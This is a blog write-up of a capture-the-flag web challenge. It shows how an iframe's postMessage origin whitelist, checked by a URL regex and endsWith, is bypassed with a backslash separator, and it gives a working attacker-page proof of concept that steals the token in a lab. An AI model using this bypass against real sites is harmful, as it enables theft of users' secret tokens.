This page looks best with JavaScript enabled

Secret Token

 ·  ☕ 4 min read  ·  ✍️ M4t35Z

Info

Tags: Challenge, Sensitive Data Exposure, JavaScript, Web Security

Description

Mission brief
Cross-domain iframe communication? Sounds insecure…

Instructions
Hello there!
Your task is simple:
- Craft an attacker page which steals the secret token of visitors
Two web applications belong to this challenge:
- Webservice
- Attacker page
You have to create a PoC exploit using the WebIDE and if it’s ready, simply press “Check solution” above. Our user will visit your attacker page
and if his token pops up in an alert box, then your solution will be
accepted.

Have fun and please do not use external resources in your payload, otherwise your solution will be rejected.

Enumeration

I got access to 2 pages.

An attacker one(which needed to steal the token from the main page):

Untitled.png

Main page and attacker page editor:

Untitled%201.png

I clicked on Open in new tab in order to be able to look into the source of the target page.

Untitled%202.png

Source code of the target page:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html lang="en">

<head>
  <title>Secret Tokens</title>
  <link rel="shortcut icon" href="static/favicon.ico">
  <link href="static/bootstrap.min.css" rel="stylesheet">
</head>

<body>

  <div class="container">
    <div class="d-flex flex-column flex-md-row align-items-center p-3 px-md-4 mb-3 bg-white border-bottom box-shadow">
      <h3 class="text-muted my-0 mr-md-auto">Secret Tokens</h5><a href="/webservice" target="_blank">Open in new tab</a>
    </div>

    <div class="container">

      <p class="alert alert-danger">
        Your secret token is: <b id="token"></b>
        <br>
    </div>

    <footer class="footer">
      <hr>
      <p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Do not share it with anyone.</p>
    </footer>

  </div>
  <script>
    window.addEventListener('message', function(d){
        let message = d.data;
        document.getElementById('token').innerText = message;
    })
</script>
<iframe style="display: none" src="iframe?parent_origin=https://f19fdbffdf3834872b40b45669c4810c87bbf350.platform-next.avatao-challenge.com/webservice"></iframe>
</body>
</html>
  • There was an iframe included on the page
1
<iframe style="display: none" src="iframe?parent_origin=https://f19fdbffdf3834872b40b45669c4810c87bbf350.platform-next.avatao-challenge.com/webservice"></iframe>

I clicked on it to take a look at the source.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<html>
  <script>
    let WHITELIST = ["avatao.com", "https://f19fdbffdf3834872b40b45669c4810c87bbf350.platform-next.avatao-challenge.com/webservice", "localhost", "avatao-challenge.com"];

    function validateOrigin(url) {
      let regex = /^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;

      let origin = url.match(regex)[3];
      for (item of WHITELIST) {
        if (origin.endsWith(item)) {
          return true;
        }
      }
      return false;
    }

    let parentOrigin = new URL(location.href).searchParams.get('parent_origin');

    if (parentOrigin && validateOrigin(parentOrigin)){
      parent.postMessage("e3441ad7-e124-4349-b7cf-64b7493f4450", parentOrigin);
    }
  </script>
</html>
  • There were a whitelist

    1
    2
    3
    4
    
    avatao.com
    https://f19fdbffdf3834872b40b45669c4810c87bbf350.platform-next.avatao-challenge.com/webservice
    localhost
    avatao-challenge.com
    
  • It checked if my URL ended with one of the whitelisted domains

There were also a long regex(for checking the validity of the URI).
I copied it and pasted into https://regexper.com in order to see it visually.

https://regexper.com/#%2F^(%3F%3A([^%3A%2F%3F%23.]%2B)%3A)%3F(%3F%3A%2F%2F(%3F%3A([^%2F%3F%23])%40)%3F([^%2F%23%3F]%3F)(%3F%3A%3A([0-9]%2B))%3F(%3F%3D[%2F%23%3F]|%24))%3F([^%3F%23]%2B)%3F(%3F%3A%3F([^%23]*))%3F(%3F%3A%23([\s\S]*))%3F%24%2F

Untitled%203.png

https://tools.ietf.org/html/rfc3986#section-3.2
https://tools.ietf.org/html/rfc2396
https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf
I also used devtools to check the regex with a full-featured URL.

Untitled%204.png

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
let regex = /^(?:([^:/?#.]+):)?(?:\/\/(?:([^/?#]*)@)?([^/#?]*?)(?::([0-9]+))?(?=[/#?]|$))?([^?#]+)?(?:\?([^#]*))?(?:#([\s\S]*))?$/;

"foo://username:password@www.example.com:123/hello/world/there.html?name=ferret#foo".match(regex)

Array(8) [ "foo://username:password@www.example.com:123/hello/world/there.html?name=ferret#foo", "foo", "username:password", "www.example.com", "123", "/hello/world/there.html", "name=ferret", "foo" ]

0: "foo://username:password@www.example.com:123/hello/world/there.html?name=ferret#foo"
1: "foo"
2: "username:password"
3: "www.example.com"
4: "123"
5: "/hello/world/there.html"
6: "name=ferret"
7: "foo"

Exploitation

There should be a way to bypass these restrictions but the RFC didn’t help.

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

https://hackerone.com/reports/431002

https://i.blackhat.com/asia-19/Fri-March-29/bh-asia-Wang-Make-Redirection-Evil-Again-wp.pdf

https://medialize.github.io/URI.js/about-uris.html

Untitled%205.png

Authority: this is the most complicated and problematic part. Several points to notice:(a) All special characters in user-info, except the last@, is URL-encoded. (b) In special schemes, e.g., HTTP and FTP, \ is treated as path separator, which serves the same purpose as /. (c) Any one of \, /, # and ? first appeared in the URL istreated as the separator between authority regardless of which component it is in.

  • There is the separator I need! \

I checked \ against the regex using dev-tools again and everything was fine!

Untitled%206.png

It was time to try out \ on the target!

My payload should look like this:

https://<victim>/webservice/iframe?parent_origin=<evil>\\<whitelist>

My payload with the iframe tag:

1
<iframe style="display: none" src="https://<victim>/webservice/iframe?parent_origin=<attacker>\\<whitelist>"></iframe>

My full payload:

https://f19fdbffdf3834872b40b45669c4810c87bbf350.platform-next.avatao-challenge.com/webservice/iframe?parent_origin=https://237242f5c3000f1eda5ca7188e0c4dea17e9dd47.platform-next.avatao-challenge.com\\localhost

Which looked like this in the PoC:

1
<iframe style="display: none" src="https://f19fdbffdf3834872b40b45669c4810c87bbf350.platform-next.avatao-challenge.com/webservice/iframe?parent_origin=https://237242f5c3000f1eda5ca7188e0c4dea17e9dd47.platform-next.avatao-challenge.com\\localhost"></iframe>

Full PoC source:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<html>
  <h1>ATTACKER PAGE</h1>
  <h3>LINK_TO_WEB_APP</h3>
  <script>
    window.addEventListener("message", function (d) {
      let message = d.data;
      alert(message);
    });
  </script>
  <iframe style="display: none" src="https://f19fdbffdf3834872b40b45669c4810c87bbf350.platform-next.avatao-challenge.com/webservice/iframe?parent_origin=https://237242f5c3000f1eda5ca7188e0c4dea17e9dd47.platform-next.avatao-challenge.com\\localhost"></iframe>
</html>

I hit F5 on the attacker page and I successfully got the token!

Untitled%207.png

  • I got the token! → Challenge completed!

Takeaways:

  • RFCs are good but research pages and other standards can help too!
  • If there is a regex for URI validation just put it into a “regex explainer”
  • If there is a whitelist try to bypass it with the use of delimeters(\, /, ?, #, @)

EXRTA CREDIT: David Schütz

This url parsing regex vulnerability was a real bug in google’s main library.
David wrote a great article about his findings so make sure you check it out:

The unexpected Google wide domain check bypass

Share on
Support the author with

M4t35Z
WRITTEN BY
M4t35Z